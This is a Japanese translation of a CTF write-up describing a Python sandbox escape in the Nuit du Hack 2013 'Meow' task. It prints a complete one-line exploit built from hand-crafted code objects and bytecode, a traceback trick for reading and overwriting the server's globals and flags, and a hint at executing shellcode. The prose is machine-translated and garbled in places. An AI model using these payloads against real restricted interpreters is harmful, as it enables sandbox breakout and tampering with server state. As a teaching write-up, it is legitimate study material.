Pythonによるサンドボックスエスケープ

コース「PythonDeveloper」の開始を見越してプロフェッショナル」は、最新ではありませんが、この記事から翻訳を準備しました。幸せな読書!






Nuit du Hack CTF 2013予選ラウンドは昨日行われました。いつものように、いくつかの投稿で、このCTFの興味深いタスクやソリューションについて説明します。詳細を知りたい場合は、私のw4kfuチームメイトもまもなく彼のブログに投稿する必要があります。



TL; DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




「Meow」 と呼ばれるタスクの1つは、Pythonを使用したリモート限定シェルを提供します。このシェルでは、ほとんどの組み込みモジュールが無効になっています。



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


kitty()猫の画像をASCIIで出力する、など 、いくつかの機能が利用可能でしたauth(password)。認証をバイパスしてパスワードを見つける必要があると思いました。残念ながら、Pythonコマンドはeval式モードで渡されます。つまり、割り当て演算子、印刷、関数/クラス定義などの演算子は使用できません。状況はさらに複雑になっています。 Pythonマジックを使用する必要があります(この投稿にはたくさんあります、私は約束します)。



最初はauth、パスワードを定数文字列と比較しているだけだと思いました。この場合、__eq__常に返されるように変更さたカスタムオブジェクトを使用できますTrue..。ただし、そのようなオブジェクトを取得して作成することはできません。Foo既存のオブジェクトを(割り当てなしで)変更できないため、クラスを介して独自のクラスを定義することはできません。ここからPythonの魔法が始まります。タイプオブジェクトを直接インスタンス化してクラスオブジェクトを作成し、そのクラスオブジェクトをインスタンス化できます。方法は次のとおりです。



type('MyClass', (), {'__eq__': lambda self: True})


ただし、ここではタイプを使用できません。組み込みモジュールでは定義されていません。別のトリックを使用できます。すべてのPythonオブジェクトには、オブジェクト __class__のタイプを示す属性があります。たとえば、‘’.__class__これstr。しかし、もっと興味深いのstr.__class__は、タイプです。したがって、を使用''.__class__.__class__して新しいタイプを作成できます



残念ながら、この関数authはオブジェクトを文字列と比較するだけではありません。彼女はそれを使って他の多くの操作を行います:それはそれを14文字に分割し、長さを取り、奇妙なラムダでlen()それreduce呼び出します。コードがないと、関数が望むように動作するオブジェクトを作成する方法を理解するのは難しく、推測するのは好きではありません。もっと魔法が必要です!



コードオブジェクトを追加しましょう。実際、Pythonの関数もオブジェクトであり、コードオブジェクトとそのグローバル変数のキャプチャで構成されています。コードオブジェクトには、この関数のバイトコードとそれが参照する定数オブジェクト、一部の文字列、名前、およびその他のメタデータ(引数の数、ローカルオブジェクトの数、スタックサイズ、バイトコードの行番号へのマッピング)が含まれます。関数コードオブジェクトはmyfunc.func_code。で取得できます。これrestrictedはPythonインタープリターモードでは禁止されているため、関数コードは表示されませんauth。ただし、独自のタイプを作成したのと同じように、独自の関数を作成できます。



ラムダがすでにあるのに、なぜコードオブジェクトを使用して関数を作成するのかと疑問に思うかもしれません。簡単です。ラムダに演算子を含めることはできません。そしてランダムに生成された関数はできます!たとえば、引数をstdout次のように出力する関数を作成できます



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


ただし、ここには小さな問題があります。コードオブジェクトのタイプを取得するfunc_codeには、制限されている属性にアクセスする必要があります幸い、もう少しPythonの魔法を使って、禁止されている属性にアクセスせずに型を見つけることができます。



Pythonでは、型のオブジェクトには、__bases__そのすべての基本クラスのリストを返す属性があります。また、__subclasses__継承されたすべてのタイプのリストを返すメソッドもあります。__bases__ランダムタイプで使用する場合、オブジェクトタイプ階層の最上位に到達し、オブジェクトのサブクラスを読み取って、インタープリターで定義されているすべてのタイプのリストを取得できます。



>>> len(().__class__.__bases__[0].__subclasses__())
81


次に、このリストを使用して、タイプfunctioncodeを見つけることができます



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


必要な関数を作成できるようになったので、何ができるでしょうか。無制限のインラインファイルに直接アクセスできます。作成した関数は、restricted引き続き-environmentで実行されます。分離されていない関数を取得できます。関数auth__len__、パラメーターとして渡しオブジェクトのメソッドを呼び出します。ただし、これはサンドボックスを回避するのに十分ではありません。グローバル変数は同じままであり、たとえば、モジュールをインポートすることはできません。アクセスできるすべてのクラスを見ようとしていました__subclasses__それを介して有用なモジュールへのリンクを取得できるかどうかを確認しますが、役に立ちません。リアクターを介して作成した関数の1つを呼び出すだけでは不十分でした。私たちは、トレースバックオブジェクトを取得し、関数呼び出しのスタックフレームを表示するためにそれを使用しようとすることができますが、トレースバックオブジェクトを取得する唯一の簡単な方法は、モジュールを介して行われinspectたりsysされ、我々はインポートすることはできません。この問題に遭遇した後、私は他の人に切り替え、たくさん眠り、正しい解決策で目が覚めました!



実際、以下を使用せずにPython標準ライブラリでtraceback-objectを取得する別の方法がありますcontext manager。これらはPython2.6の新機能であり、Pythonで一種のオブジェクト指向のスコープを可能にします。



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


context manager渡されたトレースバックオブジェクトを使用して__exit__、サンドボックスの外部にある呼び出し元の関数にグローバル変数を表示 するオブジェクト作成できますこれを行うには、これまでのすべてのトリックを組み合わせて使用​​します。__enter__単純なラムダと __exit__、トレースに必要なものを参照するラムダの両方を定義する匿名型を作成し、それを出力ラムダに渡します(演算子は使用できないことに注意してください)。



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


もっと深く掘り下げる必要があります!次に、ブロックで意図的にエラーを発生させる関数でこれを使用する必要がありますcontext managerctx次のコードスニペットで呼び出します)with



def f(self):
    with ctx:
        raise 42


次に、作成したオブジェクトfとして配置__len__し、関数に渡しますauth



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


記事の最初に戻って、「実際の」インラインコードについて思い出してみましょう。サーバー上で実行すると、Pythonインタープリターが関数を実行fし、作成された関数を実行します。これにより、context manager __exit__呼び出しメソッドのグローバル変数にアクセスします。ここには、2つの興味深い値があります。



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


2つのフラグ?!同じサービスが2つの連続したタスクに使用されたことがわかりました。ダブルキル!



グローバル変数へのアクセスをもっと楽しくするために、読むだけでなく、フラグを変更することもできます。f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })フラグの使用は、次のサーバーの再起動まで変更されます。どうやら、主催者はこれを計画していませんでした。



とにかく、この問題を通常の方法で解決する方法はまだわかりませんが、このような普遍的な解決策は、読者にPythonの黒い魔法を紹介する良い方法だと思います。慎重に使用すると、生成されたコードオブジェクトを使用してPythonにセグメンテーションを強制するのは簡単です(Pythonインタープリターを使用し、生成されたバイトコードを介してx86シェルコードを実行するのはリーダーに任されています)。Nuit duHackの主催者の素晴らしい仕事に感謝します。







続きを読む






All Articles